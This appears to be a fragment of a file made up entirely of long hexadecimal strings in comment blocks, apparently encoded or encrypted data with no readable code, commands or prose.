d83fc9ce8f9b33a25d991a100537692b08f89972a8023210934fcc020ae1753bf74cdfb928c5506e5de6fa6ec5cf13a00c0aae990ea92943b6837f48f947036a9d04c834e5e8d86a7cb68c543d17d9bbe018ef3d4f6d69b7340aa8b5a9f09d66e3378cf5d6d589cc52b4386a4a9bc1abe3856069d17cb1c91ee69f0498d9c184e175a8a9a15d3ef70c0889538460e09b666d369836e1f5f166f63dfe75f53c152e5045483f8f53f36be5704f733ff2be969ea5f2fe3d7ea0e994d73acd2168d3b0ec43063fa77b45c4e03db0f9591593aa9a1bd04d0f7eca201f71b45090e9a26eed447a698f10f27c6d6f020a9d74485c4a298a4f8b25ae302c5734aa268c718a3018651d9a0aac638fe2a99a3c571065a7f81dbb4906b895b9cab3bebd7247f3bca389a56e8dec225915804c5c1a812ec44e8cd342908838b018cf3c18136322b734890adc4378dcb1653e140ea2cb03680c1aa85eb8f00c09a4d81f9d80362fcfa2157c15cb3bda46479f9b324bf93be962b2f897bf722cc6fbe58d38ff1142ca4ec8b58172dff537a5bbf6b95df3998d0929b96d07a3afaac191e2c39151926fcf2c069986d8d7360e368423de3628fbe404767bfd0155c14634dd7f5004d983d66600a35a67750e81faba44b98210443adb2e0245fb050a3b6d22481b76bb175a9fd738dbcc178c0ebd8c42e234d120f16535fa5bf3d72de71326f7fd7eb1272820d94a2f019900dd230a1d4d79d0d2a2c72952027bc87fe2fb8cd1895dc3f780b4d5*/
/*668b8f07397074db5176654a6109b1dc278956bf086c3b0c74649436fd0827fe608fd2c2443b08d3433662b858e0fc40ed2b5a8675b584b91382b9d7b35412eaa272a83f3e2cbd09987f9a323ab07da89908e395d911fd074026270b480a147e1b109ca374e8cd484ceedbf2a6eca4e7b613ec61bc23b823aa6ebad7aa3c684ec87de9ae868882eae0324288fe5c8ac2a01eb5940256d7c6a2de6e7008791ba329572464ee16907c3b7026e6c7e62f1c14ba6a5e370a5ae0a05af527b9fa83f6d3b2928041adf03fae9fc58e4d521ec29444b9f3c75d1f8f98738ef3ffd6d6323bda848191eb5280d2ca2a7c9a02ede6ee9943eb5b08ab781b6fe6c0d7a109ee76fc4e8c344d9bf6086269d28c7ec273ec898bd9746755569e5e0367acd503e57e8179ed4360f7f99eb9423d687ae8a7edf39fcff60f445c7600379b729d932290118e4afc37decff5838052834d428eb52d6c05896d8b7375aa8b99a47a7ee1dab0808131a3295aafb0f355eef995dc632c7e21120348556f7685d7f2188f0bd71a51857d2a683774058360e03fcfcdc1f20b210bc89d16f70927346ece0f589bf2ff8f205db2aaaa1c18a924b1aed47b68377e8364cbdeee394d78e8483a1919dada465da50c0e7375093736216384717bdbab1041e7046a0b976642f6940f80fc7dea144642a25ecbc11a9f0ec2933f7be6ad2f11bd390fcc1dd74ccd481157e8ad37354eb6f83642cd3f70c10032960dbc21a6756b8ac2e721b13cbd079fabdd937295cf0fa5438512659f1e26835f07f228c7eab02116d75728afb3e8bcee861e1557e9b1be4196c59bf1cd91ad7b017ddd78ee4201d7bf6efebc1af90ef1a28a5c7985dca30467e42de37e13749066a7e7c7810096e7b32cf3bfce726e1d37441a0ab59e7d552da77bcaf6f92c9ca0c1e3859376864946a6f1662df742de73f0f0ac76164faa0b768f4f08ae17e73963146d07c42e0413beb2527bd8235e16374414635cb513a2e15b0468b7fbfd9077e3d7313ad0a56203ce08777a09b6e945bd7572aa67b454fead71e159c4f4495094486ae7760cceb07d29872a62491323efc121b5b8cd69dfe973a3815018f31383e208265be264de1b9d0f65e8d2a12bbe7b90d21bc9aa25580fa1933c36b836ff1d4b10d6b95020d700f80164ddc784a692c3676b86cd638e5c9cfa86cf1674948ba8395ac9110f61077ef5e7377e050e46e4acb5417158d2c7cbf8bdafe220b8ba132f8f370a7c5b43ae5b5a291f14aa605db23d05a540e961f9b221b83b0bb9b39712807a362f3f23c14a1cee3bd678b287c35ddaf61da9f61def76d3ff06b7d291980e6f1c8f335cae9c2a5705724ec11f2b5629c64eaa9054404d61323e27a1ca1272c12f2e4cbd02e5181457bc47db179289c0e61405b50e7678a0aa8470a15560ed0b92adbb4477ad086f28b25ff773017133b4c656bb757fb652cb56967c5b84b550637b8e04bf563a4133875b8a039267db20e1711be3ce5db3c04a34a3b52303df0edeb95bad42cb4228d8cdbf75bece9ff0a44f312865de19927aed004bcfa67abc930966a35f007a8088601bada3ddcbf6c08936d31d7b1ae207f845a43a0d400511b2fbdd4040a7748b5f5e82a334552f7a0ac29efb4e3fe9b28d5f32d68fa8b6e3e5a601af0484263ad4da63b5abae91d4e2dc56cf00aeac402c2303caa4435ed05a9fe9a72a91db74e65daf71ab846efaefbb6362c45cd52ba1f8f42aad042f8e634a4474734e0b225800a79198a9279339069791816b510159c3bad547c68613287c3783c924416f0879ce929af275d6554310846da197de69a44d18467c7fa9a0e10d28ceca8c370f1b4a86ffe60f85d495289f3edf5053cdad7c09793ec7a6db9668760c00eabc864a754c4978a3d8615b852c0cc6da5be03f3c5937e38a65cb5257b042701fbc54692de80e4357bf0771731e25aeff38c5f206d02227e487558d419afde693330d383428d15b48d4e302daae3699a5db330612d55b655f421d7a03a725bbc0211df590f0ac1b2f07a6d0f3f0244618d8636694e2eff92c4f36a537443e90ade670cc02817b37e03f6caef6b42b325a899b9be6a33707b84b3bdf9a0654bca748cdb91ce83930bf37fdcc9f93caed51ba31a9e4da712fcf9521cb8c7b8a6ae4b147b32a015fc350aa5282014ee5cdca8091295754a0bfc6f42c6a196b444af8dce3381309372b952a1940d0c46dabd596a9dad8ac846a3d248e8133fac4b94f3a1eb73b41155068fa5585af29459674a5bbf0573138074012c710b1f225d30cafa02f61b0316be03700c0b3292a66e64246caeeb0d31a6b2361d2ee603981c9f9200c7087a5f9596c1705c891f2107bbc8e0446896e4d1ead8b8435f670bf584d7379f553704944ef31c3ea600ec3ac009d44756de1a2ce3fc27267495bd1e356a66f1b3459186e418dee6aa04b4869082eadcb1be6fa62c5d81a9e5f13c69ba358ee6506822fd8ae06f187858420c2a409f030a2b9bac6002cd2c361eb027b60432c99784158ad386524a3a2370ca18224254d6f8cd79ac4d6079f64bd5ef27af57b67373fea9e164f08b892f51d449bf621a2240296245bd032221878b3afd3d0b7f1bb741b1068a13b57eb38b96f43be6205d118a39768b955c31942f1f23fb3487492fad29575980b5167b249909e9ccb295d99e88b686cc8c771b74d3b9d9637b6a81f977159b7d6952a01a35ee00c486af1f51d7398abe9de83f09ed24dc19f058a86f400a6c8dba972e2b0cf823e6d4955876ef573a688632102e6f78884ea808f953c129d2c5d8bc529*/
/*c018c8b697bb12ee01d91772806859723e715b9a00c24635d510ce29e6d9009303679e5ff27c57275f89ca903d406f2194864d309d0fc3e60613c3088c8a70237639e8742b01468f71ff56e6641ab04c23e745a50ed0f0b539a5229f822714ed68406e5aa92dbc15e391cc71b791fb02026228442aac6e261432d3c93970203ea03044d1f33b91c3aca98133bb4c9e0b5c91c0b1ad012198b4f50aea3a88e56e9fe15eab1902377331cef04602e466d047683519f1d52a4de223e7f6bdf49a4a305daee083f12f6236116883fbbb78512e5a128e79bb70c29034d4b9e1d6b1ee62601bf300e1456d219d26628f62287e1cd80f0fa2bf1318a10131f5ca5f0b558b32e6050dbf8916b3392865f6915e317012c16f7a0bc63f702886c6a1d34301089151045e0c521aa7be85ff5dc6da26b39a5cff3f3b3db1712c9eb9179234e82df0b99f7bf9d546153e9f217e02c7f117e7eacb28c2e7dcbdec8e040b2d62c1a582e3000488fae6fe413a3a7c0a44247e114be24e82472a6be06999830f9122d25467d53430085f0859ee187f96b385daedc079cb0e943a5eede18d51e0dc7cabfd9b37ce0551879eb80bb91d57e309167456da8357c91332db51b9a646eead75963a30c1e3094e369efb6436d70415e20846cbd96058b1f5217e3bd7c4c8c43ac06d202088167c629886f7e98fa5caa35c4dff01df315f4d33966c26c767c0cc7f3b75962e19284e6262c109034b9f8067d1b9fc789c1c311424180dfb63a1094ff2a4ca25eccd87fc597366340d0c129c491e995b571c7ac4dc6144af192c43ece377e664f65f3b5801451c56b00d7eed6b7c75e720e8366b262788656fd7dd173dc8eb2fbca465ede7918f32f6b0f324c4776569647fcfb5c0b8d6ece6086e395feaf1ab1c0cf32b04be695db30b47b96c44236ce85c37b02e4475550302f12659fd261a1079ad8b00a6d412a0a33671426178c9d7bd432ff381f1ac8e2452a9fa176cca0c0c37e7cd3c117a0ee16988208240acafdaf2746a30b549dea34f8547f26f6be625dbb4c931d8bb747e03d7f1b78122424a20334d7c42574d03fedc4605d10a1a709eeff6ec3556188a495f30dbac443b53a748479eb50d01942d23d824df20bd3d66a3c2e5249b1417224158e6706c0a495189673f20add82232d9a1966d556d7e71d767e7b8b36a84a329aaf26f36a6a7cd16459c506dc4de2a7a66b893ff519b637e2b1a9d0b65bd5ffdf84851ef9b9e400325b5a03ded776b5f4ed341e7b1e5dcfc899c82f0a8b2061c7dcc2443340e864908f2148338fb2bcfa5c3e84b196a80e65b36cc1b5e0854c8770279ba5e8a969f3d579fb489ab04d71e6022a948cc1f0ee117f9d93236d7644e459f83343affc85f69fc6b2b447e83b45f08d3a15a3520cf484505ffbaf136b3db67e23c60dd5069ae907d7225cb62aae31055ee4afc8ba12576cd8d2c18260418a956b2196bd11e0fc50f085472a9fb4f9e0a0fb222d49bb68acedd1e65a9645ce268705fb3f015c2ede1650e3fd4ab38518fff89b4071db8a52f6913bac740efd8c6f9d9aa6d4077366e70f698818d45e597553ce61eaedebeb6be7fda9239c6b4d35fff041b707fc6ff0094869ac50b6dc475eeb707b986bf6ed0ff253cc7b7fe1501e27b0cd8395dd1077d38cbc13bf36a0ac6e5b89ed1ba8a3300b3d1c3fe37d55a15e88204888a7b21d3754c59c5891688b5bcd6634a2d3a6bad948a42df05581e542bbdeaff3e687127b93330524a81c3841e08e4ff1be1331f526481f089db889a900c38688f23390f77664d8ec1edc32ab3d6a26b3624a425214fb3ee185bafae2c45fec641b62e787327ffdb2ae5cfbfbfdc5300aaa5211e7ec2e4045fc32809add8f6283f9c6edbbb50ce69ae92123959529b1ec3863d9e6d61dfac9d3adcf78718b102024646ce355dd55ead44bf40354f2e440518c50b3fe233f031bb5ac664a92cf9e8af41263459a4adb68451681559755f003191ca78e05493019d99fde6912e82ab92e03d442caa944eb4849b3be5fb69ab556ddf94d4a3f4e8ae18b352fe04c38c57e4cc2801450d30385c1e0a5d2e03c74b1a7744022bfc5dc4dec8dfa3df81590f7a4b68f155f887b364db221b7f0341f4e3c8e1e6f52e5ad40ea85745d8d8246d70c6f1c98055aa6c19f0e7dfc82b022cb0e6855e12deeab657116d45e6df3e0487a6423053fd690b7943846db37924312f329d1d11b5dd1f7b675b15113dea2ad42c260b774beaecf8dbed71477b5dbfbf83e04d07df193b0b857fc45dbfa19edae38cd62bf9e17426b21333e4b644b0ab0d781d122d80b4423e6cf0d4a8241845952d5192bcea99fb4c7da1155bbc3dd25d85458a2f64fd5fb43bed931c6bc1165fe68e42b51599725f5bf9e27c158a870af073d6b1e61de68466b1cd2b7eaed01941027857fbad0418686914a39a0019b03905edf6e0cbfb6767104e5927fbb590e315c3a7271d0862d6cb6a3b3885d5883cc62199460765a38f8b538dd38d7e489aea593786e6e717f9181b1d284abce27abd03dbb50e53c72808b3a577c951da010162fd93d9765562b982ccf9de8f2f48aff14fc35d4795f7f8883448f4cad77823e34eb299210a39ca39d33f3e19eace3f7e5bed35acddf3d13992f13b60cfdccd5eb59c6438df98aea6c150ee96f716211e94b6a9384920efd88947a0131361a2286c7138f7d05664483c7f874a03ae80f2f635908756fbaa13c465e5f62b35062ececf3a1bcd645995f72ff1396762d9e01a22fe445874a07dbb09dd4fb4ff17341a84f99d76117b9ec50611e939*/
/*67a374f5b929c39ec0826284e244da93e6bf1e936acc5b540224fafbcbc23a40bc52c469094e2029e322860e72c0e81e58a411442917128bcc896c659f689819f633edeb42d9d03ed02cfc0051dd1e0ec3fb10a6992d311e1362a1156c6eec35bc20f25253f6bccfc0f57440cd591d50dfe086bbf113ecb63b113b0ef0ee052e3a26c64ac3310013e4596ad9e763d6bf030c9e74b04356930ae0d9325abb5576e8777a793f584091e63b3edcd46ad375918a16e204cb0e57ce336b903f5a08cdd943d19bdf3de5025eb5e62bb6ee873e506ab94db92b7d181ce1493e8f54ac75f6d783b5f5cd9861f001d4ecf3e5bfafe0f4dd995a1256cd51d59b12aaa6847e918c151f654dac7b5fe34aafb186d72717db703cad90583a45b8311c9e93d1f6e51a1e405f363400f1319614f6376d2fe067dc878cbd81e0ab2bf6e98994df384db3d1d99d43844ad68b06acbcac18c9134bd5e6da0e58b5ebe81df6519498f2314b663a8736cd449cb24528a7f2a363b23c50005ed57b94b0f31e47b3fe0ce9a1d75f678b2a2fa203f6f08de2800eb527120bfcf841b24868b5014830665e38d24a2000ae265acac920c92df15d9ee491a3ce79d78ccfdbe2fcecc111d2b380a43e8a36321eeed41924cf8fc6290ea16c008e6bd868952043b96393174ee4e7f14a550df4f2c8a92665ac51261966c9bc2d669bec49da243676fbaea0871851aa962a9ef965363f374c8330e80ae621a9d48d96eb7410a4aa835fb8ad4f38905c6c8b4efd1b47be721e65a07fa212a28ebfd7ada53bdf87a17856071574d97e491db3856a3a00509c3682db98a0a1c738aa78586a88de3f39b2504b93ac1194d97c907d395b7bd1ed793e6be9cf365369c9a4521cd898bab9f484c68d05884000a7d8236b402b4f7ec97fbfcf0eccda62c58c38a5dd99464fee792ba08d8abe0201f44c7c9829fd9502ea1cd26b29f8a53722d8a3bf43aed5ae4f81840fa041b7407c6f7a624a51078549a2bf16f3d230e163ea7e29f0394448a45220f7e092ce2f142d0cb15b23a9d0e1c80a8a9b1cdbba67d796cdb660f7de38a0b9679f51ba1a08cc654a58e146ec324528ae7081efc8a77da0c233ccc8ffe731b0fa981431672948e2e042222ac830dffe65697d4c05f0c2e3ec237832a5913c9d625e1baace2f8cb5cc58e1316609b36a6d5de9014720bff5137dd2741d805328a32df958628f1e9a4ec577ab678034b50d6b16d17cc6ff33ec38b100ebe3552a6fc98a1b45223357e3869cf16f30a59a212cbb869fd71d5729d32050fd269fef35744a2e19dc3ab31a0f17107205b7a6a9f4adc2b93b860206b0ec46623012db7240c11524531fd58c413b8070c32426c5a2d863ea406d2204a6aa9145e5f43c99225563a58b3532acf1d464c110cfbc8d107ee5e1c2b79b76e839f65c1a2a35119cd6fdd6ae31b8e54b22d2b490cbbe27492a837e370af802e3c23cc50bb324d12ec11b91858013f797bf6e74f367804581aca1b39f42173eb80e9851f4ed061a46250d9af4f7edc0f8d2fb86f74ab1583d4e0b8bd9b84591a8c517ab5dfcb41dc5d5ac8af94cd666380db3b2c0646a9739e84752fb8b15710276f034a25dd71b9a0a438a64663719e31718ab1484598d8190737b5607d08392980e442867fec4728df76bde327e3570e3e5a9c2db56915afe0505995424ba573a0585acba9041adf05a9388b12b2a4c36639ac0ef55ba3bac89365989ffeccd547afe929b2f0ab379fb9628abbe95788d75103322fed289b975a52e49d799457ab576c2bb24b58f1b7698f9afeca69ee4125a413d8038d2076acfb0cde6d177bde8c43e0bae98ecfb1f1d2ad13d2ca278b4adb418d8834355a6855fd321382e55c370441bf4864800b2ebab0cdb88eac6542846ea1860b4cde101fd4d11c2c59af8561421f065878db520cf0bdc6515f076f654b95c58745555cb2d59fa46ac40b97b247cca8cd845695ce37ef8e1241a8e3c38a1d9ab2f66bbf4a8bcbbc9162ca4c1bb0c015fa8918e7c73cb17903c5992ff5b0beeeeaa1927fbf81622cfc6cbcf9d99df5d40b624083054500265a60ffa9bf7191f0bfbe50cb45ab4de864a91f78a76634754e5100ee172fe91f3ff15f1d4b9850d61d63d933d3511840dc03397727564dbe2d122b8006b3837215e6d7f0a4d888b67e7d09ec19a5150329eb39aec0ce368c66e201a474263c98501c961ad274628720bd818507917c1c33b5fb600678288a4cb0cd257899747fc5b957737f462554544484f64f1ec5c12e2f36d1844ab22caa8d19177fdea460e61cf279de51beb4aebfacee3854726eae07bebb06b742e70f8b374d6e17c2cec29b695e8c914ef5ec29885893ef2841a3edd5027e4198aa3d1646a7a6b83caec87b09d0fa436d97a30529bf089b8ac69e154815b3216c5a56eb03d538000b0d44882ad8903f09fb956230af968baffaba438ee14b9c9c115b2943b3fc5b9627e8b1c7ad8e5e6b78f830d34bd965eda3ad241b5de6869c6acacbbd930c8f9ecc9b9c56bc15cef274b6ce89bf084de383fbaafe186deb22f36884e6408f2368a1961478dc72ff5d041f672072d2ab5756199cf32d602f06521f43df062a7575ffd4c9207bc1467305b2b5ea26b299274b181307204b9f75fa605b2ca7798bab00f54a79b0fa13e14237feaabe2d4e2a1f80d44644f8b107b93ae14571009ba5c2394bb09e834f6dd6ff40fe4d9a4591940c25f6061fb822f82b2cd975d1d758381458a06f96cd53381dd32cd04cd373672d119f0a72c11ebba1be81d026c9787f413fc007a86d2e40746a4*/
/*8b9e916e0b8763684e2ddbe31bc52e317cd05002fef50529eadb2be309709957b5b1e0b9dddcd37fd88a0194ed4df44400926350591161ff5ba767ec16869f72f0d60c549dd14a81b3f25ab24a5c6364aa826d0c05261de9cc37120c5fbfd93c2ad6a4d409cdd3c0b990528a01c30ba5cb45b360d09a8fb534eb18dcbd9d3b50f2e7d1a01396b34693ec2c520ad7e4f9416ca1bf8e68987acdf4d0e519275ad3d2cd11bcbf89465000b90271b9e663e6ad12d1f1d6d36188fb25abc76bcfb5c6a13970e1e93a1df851e524fdc23e584e43b11db075e9a5d5c024ddedeee0b21dc8ad57edfaac8e70e838e5b504313565323dbc4068632c1572861b1f113eb571bbb498726a7019497e47815760ce133147121edcea73ef70cce20f67a1452c43e70508f01fa47f2bf6a7737e350e0b6986891103c94678927eb24bb7cc3edb419cf5a5b79e1d3d15a3b841c735b91476096dc2c4f8354c567f41dda36bc0e43bd7b5b04d880557bff0584b62b43cfff808164f254502cb644dbd72ee91b20f55f779b6a99cd6879273870af4ac686a046405dbf282d0806329c570342caef9a80b8bad15e0c4649220c9fc47718d37b455083f04a6f0370e7e29fd9c464c1b9085be0368ff6c25e09f228e22fbb667dc79913eef16b9d9fb5808b2668ffad5190f8d2fbe812e4c6d446b6d7bd0cd52487f5895a0e5802da42b64090f5b2b31ddafa850667c8bba607698b957037813f6953ab88894d3554a87d31f2e0c5abb51cb705bdc22f80b54da4a6fbc8f9952c468ede537f5f5f492cd0d9b441429cb31cadb66f0847342575a8b14d996dfdb11a28bfd77c07eb909da6f6b802f2e697d42b5e146be778b12b9eb688117f09febd0686477a401319b73cb104c27aea11516eb0935d8ea9ee94a7d0f4aa9aa3c1c479403b3665b1846662a5251afa4a97bb836c07c1871971ba1ebd2fe52a2fcfc39202e33d66a545796f9b2d1882f277862dfcd88f0583d9e7728eaccc3e8819bd5535592d0bcf100432d7dde5e038863652fa2ab72e2e965196761a0710c67a39c6594f3bac08549b9cafa981c134d1ce5b26f0eaaabaeb65f7946d3e9c8631e66128f00d948b997557af8024b7a5a77257a4f4fe63b67e210c9554f821ad30f5e4e32a846edff540f5cf59245b6af704f82cd312d06f84df7ab873c802cab3107b98d25de33d8f95a271556fa34c40dd0758b28f8d9adb721b4a5bb3c70228af0411d93711d6bd6e3f5f981fdeabb6ce8bd7d4a6e43b138c816650532deb7e32cece896d37e14b63a5c185a9bdc76fd66dc675bc235abe2a22c27d5b9ed0b012cb6e8526b870fd1ed94b2ea613040a86e073b4c1c332f04c44d9aebc634f03fb9944d6c6a98e7c7dfa4a33bf3986aad0994e621b3967e0588d6410f798af858098f4656cbed989aeb85b7d207036ca7736c36e1667a3b3934207706716d08b222bb0b39a469d02835b3c3005bf1bae4ce47618239b3bb8628e3ce28b2a0afe8e56be0e298c03f22fdbaceba0d1b0e90f822ac64c66d6185b7ed8c57456eff4fad8a5dd2edf4fdaf03d37373410a71759999832871bd98356e564a33d17002e8244c992c3b7d09085b12d7c5d45a44fc2202a6c835f6ffa8841e384f139622e8b8ba940ccd53f4a65bf0394d3d803e8b0ec49fd888ccae69f6e1b0c388c5ce08118e15da9903efb49dc45570ab46aeaf80fdc9fd8ccc4cd7bf33f26d86498c34b2f24bc5f6a41ad5b2c9bbfe9a505976aabcd22e72eef610160adfd2b13941d79e374841dec7d4e950747969f9cb89b723732818f605c3e1899be35a6a6fba709a94ea16250fce0e96e6681fdb26b074a5f05101c57bbb804378ff64c7abc18624033cca1ba413ef00ce343f170b535fe41fac8ee158e321f7cbab1798435e205eeff4f54a15fbe7b26a29b3d9023fb110b2155df1d86f219854eaa189bed5ac44a2e301af6a26a6f77861088542338632017abe58302ab695528893fe630c8cf1cf8dea7f715c73c96b19d2d3b8813d31bc339f260a6babddaa80b2d46f55ab62760139e0652bef046333451c6cab67cb27f1b306b8f79f54809d99e8879d5032297f19b2139da0a11fe94f18358c7093f6744599f4fb0c73b4f434043a140fb7625c06c239d18db67bef8b4fc83491fa0821840e3bc5e3cdebe5318924aeebec876855d539dbdf34255e681769bacac63be77e033aab3e323e8fa4513c8896c986e1ecbbc3561b31455d16448cd073f4f35dca184f36adcc94159c10bcf342b9f9195debf14e3fd7dfc8a6dee3ada9ee49e23be48382c8471dcaae08cd210dabcbb4830e678f29e33c559c86bd352893f19f111226d427dc330e8968e036df4df26b64626713bce3338f16c0946ac8912f7e30fe16f3f2133d3f850831f79bc531bd650effaf6e85f6a2330f50edc1f795155c7f560198cbe124d6dcf3ae83090533af9cae88e1ebb92610f8f2b10726f43347fa3967c0856a417a2937d5bf357fa6b60b1097e2ed91185beb020f215b91ef4a5a3ae4bef5a0babce3469a5951a29a1c7132181a76b0cb34b42e24f677a88a6972510aecd15c7b70037efaa9d3294f219807a23b59af8ff3e19b274436ac5652951e9176d5021d928ae3f4947480e7cd4f8b281f7823b87287162a13093ea42d2044f3a662446e4e9672a726a7103b3e5428729860f69b4df0ced3aa203ebb4c63f4a4293d2abec3e5c13ba038e8fb4ba5d86037243a052c67e079e8e3e4b3f496537f85fe309ba7eadb521fb25932ca847fdd9321d23af3af8da16155584b50f8e66c60eed5411c3fef525c*/
/*4db5abb001e9188fca60c5ed10cbefe0580d8164ed56d25dfed40c83004c583f805c147521b5338515ecfe0328ea13fa5f3c9270da0fd179c4bcf04908fd702824c0fcb5b2f4554724e5b50a4e77696071514d89a44bb67f71134be1a18a33cd13326e2c43d2abaf24a048d904aa42f6f6330c6b2e13ed8c2e897f6f57270e236945b7df0cdacf860af30dd1c05e992be5ff7739d150338ff262c8e9c7e2d492afe9819b7e2df9fa1572f42c4d41e14610e98e58c477047b1e6b3b6095be3a0d0b6f55e0cd85881c01972b64a4a40f37fe0e3f50f5c281447849efa422b8275861385796db2016a511ed619064f3d1e5895ebcda48e40c41e4e0f685a990cd09d50d9fb167d3e8463142562fbd30220239699982a1ec1d92418aa963b3a6e82e5f243551535b42d28036c45cf460402b592e223692d2642a42b32a3df954e5f4ddf98f87e2cb5e3ca875176a317da337251da4ec3cdd8a4e618df0480fff54324a29960e687d3176d99de5945a130d433f6db2fd20369279b52a3386dadb0867bf04897bf4556eaf4ee9443e1914adfa3e10d49de66f44e0dbf38e20d8a9970bc871fcbedfa4aeac5dee530bcbfe53389fdfebdcffd7301245f88df43c938f093c7dcfcd782b2b89e4cecedb3e6c2752d3bfd26d68472e9d095a85bb042f50738d8f54ccb9158dcc22573496c89ed09a9b942c42fba21962cb99981fb3e258f4e65664a1ea5701bc9dca716a750ab571ccc9d0309b215e4a494f372d8a15410a960370f56e5a596db2c61c85a16d2bea6670bc7c562edc072c910e483b9c61eb61804250dadc5f242a58817418be9dd3934d785f783029343fcc821dc13d70f5d7b87e1b24c0471f3236052783613932ac4388641fc001484585d3ae02d123f89a1a435ebad4d23b9c91daa9e12e2281d03d76bfe3e1aa12fad6c0ae8a83508890795db1adbdc210ad404c835750a7716a6e77de8ce0997d537174b8bfcb0f4e0279f57b1a7b60be85b2ca2d01d61571cf550bab1393ec601811b40a874de4d5beb464922bbf3570ad06d9fdc9583c0d61e2ec207a582c9584614bfa7336fd9023b3b4957a5d71ad71deba56d90606b02d40234f75b560747bdd17d8d80a312f60bba7ed7fad95f4ad4b2c733d75fb3f4ec95dd3128b57192ddbc48f8116f68b7f9140fe3ad76b8b3848ecf15ced5193c449d91bc39e1fd7342d80b60fc59d4e41d76509351d687290f3a64dcc52f6c75036445d0d6d385089027570b43392b334a8985f94a32a49ecc55e67083f4839b28ae8e82d3d158e1e37831e7459d044d257582bcea044df661d24cacb83dbe99c41dd3df8d84f6503c47c1d348bccbe06d90470cfa4d7ad608b35606deb074797af26f81fae7397c375566bee1694e0a685dfaf7e01f5fc4ba7b9bc1e60457362e68ac07ef5db3f9a9a6ef8fc31a646316880ce1b69bc4237b78214e52643577bd5b52d726768023193cdf44ec5512705143b47003be37a205eb8ac8ea95c4dee26b5c9c6602da32799539cb7c07386cac1e2617e3466dd16401d797155852e9ecebcc6573aabb14d6dabdebd04d80402e986314a35eb8654f236601013e5c04580865df2f24791f38895aa654eb03215e9b1fd24e188a6152e6a7ce21c4359ba235d0a28fbff30a2bec01173aa2e2de2d63c11798a3a0c907eb35a088bbe75363ef109d3477f3af1c678c582eef59c1d3fe8aba482300cec5d2790c4a43e8e200017933614b14f35426e8db633c8d6b57311b07494ad1fe0aa1bd70e89b0e4c40a190347ad0635e47f4a0410bf26fa646caf1515cbd5f81bcd055bbdf2933caa7a3d292b95edb2544e55471ae4a11df92853bcd542af7132be7d360bdb7101f31367dc8f8ec5d25d78db5949b6c91b8d87caa1d1f13ec6cb18157e473286f947d0c0a431e64b71910868e957ee29ca4e8de7367dff2c7cc664c991d735a8ae7581ad3e929e7ff4ff976a8fd24c5d163b2015ca2f893eec47c4988545d6ffc9ac3bee875e80fa449cfee4d5234646f2db145747bb091e2901ed324328e26a907040ca05c1f5c93f4b4543861ca587a548bc55904bd8d36dfbf9759c620fb3c3bd5a22902a58744bd5c93e772588c3329cf523ae4e8d382084b979afe649c78b8827926da3dc6ebfc7cbf6a3452c7f403ede9466617de0fbb247988e24b60566ce19bd84c5ecc662c1dae9b23aab7a8636b24171a7782e62c89b3ec794b4d48c6553d1ff89b9333fd0907399457f051365aaaf3a18eb0173ed441d3aab6a99ecb4a1e3b83f513d460b9a2ed9c5f4c5224e9770998c50fa631419af56d2084e302d02c7e2d8a8fe9f92a04fc0988569c704b43694deded95a0fd292c0c14d358882f29868cd72aedb66dd54c48b194c58dd7387edd82fce54f96762e05725041a9af7c95c2de2553e7e21abb2b8bb16e060e58c70d4d22195aed6a273c3b904a37e5ffabf2c3d9c96ebffd82d64b44d2e3f52ff3435188cb3b769c14461834e1702c6673eed1b9b360d1412e3b68de4856c0f7187141a67a29a19009248aebf156749d93dacc478d9f94931e8f680126e1549995bfc8f12745f7ffc326632148561027b7d968bb652a6fc0ca9ec5878e70e6138186457851fdf50fcd156f244ad137461d3f7d30b5a9c657e53a4c8a3160113e60c698866618c2cd3ec625536d80c88c8546e8a6e6e4e9e31e19844236cf519db969b436a02a943d114953a31c14c39591b3d7095097fe193a996396abdb8c8ddafe0baf6625a91e0fb87fde15ac9d6c3b89ae748fc1b5c4a5732cacfd729ae39177e4524d47be9b7cf12038769*/
/*5b380dfdc4aac07b7595a9f78f6eb03f0e70a695a4e26854c5e675f12bfe60adabca76a3e2ac378b5f8c9f2b11352f2133753affe5a2e34f09a69cb4207f638b957a0d76588e0e5d33faf151e7d4f10b0a3c35eae5244aff1cbb73936b4e69826d0c912a673dda9eb1601bd42d4ac76e0ec6c5e34cfcd74b3077d199a7b6c2995723fee7a183204cd1eb7e689c74de14e7a61fc6e8dc9d150ab7de71cd39f648a02db42388912c2c8312129020ebdbf6868de76052b4c062d3e7138b481e7e6a816c2503a0be4038a031ef22589593d44cdc7c19d96c3e8c88e46a434d37bc42576c366b5ec93b0c8890ec136551b28455671ee4fc18e34255817e38745ab5aaa062d61019d371fb9614a52e61700382398c9ef999042285b73f3eea7ee00edf58ad9554b1501c385d0e3fc7eca8501c8aea686280ed897b70a0cf583949c33911b37a009aa3a2eee4aee2551e8385936dc4eef88d9dc24c0b5492077a26990ef0ed8da94b09ab14c8ce4aa9d4bdb65435b6435327e72172b8fcb23e95add5b4819cc96420df19735cec871dfb1cabdeb27a4693b116bc8facdf2c722c6b001ac957220d7736d1f0190ad8838dd81a69d9fab7529d5d3597946076bcc06d2ed889b7705687a15701164b1a07ef8190f8c89ed4ecc99948e8f10864ba4861a435772cfecbd9b874bdcbcf5ee5bd4475fabaa87532da9095b591a57bb106bbcf200ee95877a6b989250d7ccc5b8eccc5453d692b989fc5e393d5d073f8c5967a94116021266a6d8dbd391e5c14079ea423b66af3841f8b13a868188d40d4c6c7cac20ea71fe82cf250958f23ff1cb308f45df046e6f5f084537db6b00e6bc6937991c5e3c2495928de6252c6e7b6bf87ec022ba053fdcaa1ffe7876af38485b0aef1b8e7bc05694dc826527b5f55efb3c71b331c40e2b6ce55c3fe6d61e3c776673fb77db9047acd5c9f0cc53942cca5ba8d823aeffefde75014572084cbb9989eb86e1a449b31021fd9c2170c553bfa1859d0794dea6070d231b0d4f77b9579dbf9beb880a9690489f36910d05ec55747af80bd94977f7822ced4392ba0a12b029edca0e9684ab242e0dfe3a61d13a743c27f55a44838fa07863eb66d60873c837e873cb584a84fa63b9bc0b31d746a9e97f048d199bac4552dd1a30bd49c1291b6a82c11d32638ee4367b5766e519fb83ede57aa883e08ba5991d2c2d769ccc8152304d0249f525222585e8601927a80c7120e21827b9d3214e9f2ca4e9aa6e632858fd8bcee1ff0f10cf78ee154858d555cc2c4cd084789739d16365cad224ffd887a74d9b37e08ae9368e7b9161b0d584e1f7f5fd1e4abe54be47abf41dee8a9d485bb720c2f2e075630a12c59f058263997d094e63f40b3fbef954b03c63f93a121c370d217ebba0913e8409a9eff31f57e7dd5ae29aed7f058bd5bdf45cf73a7c7d2c72c5d1d10a924fa3d1f49ebaec54b217d361369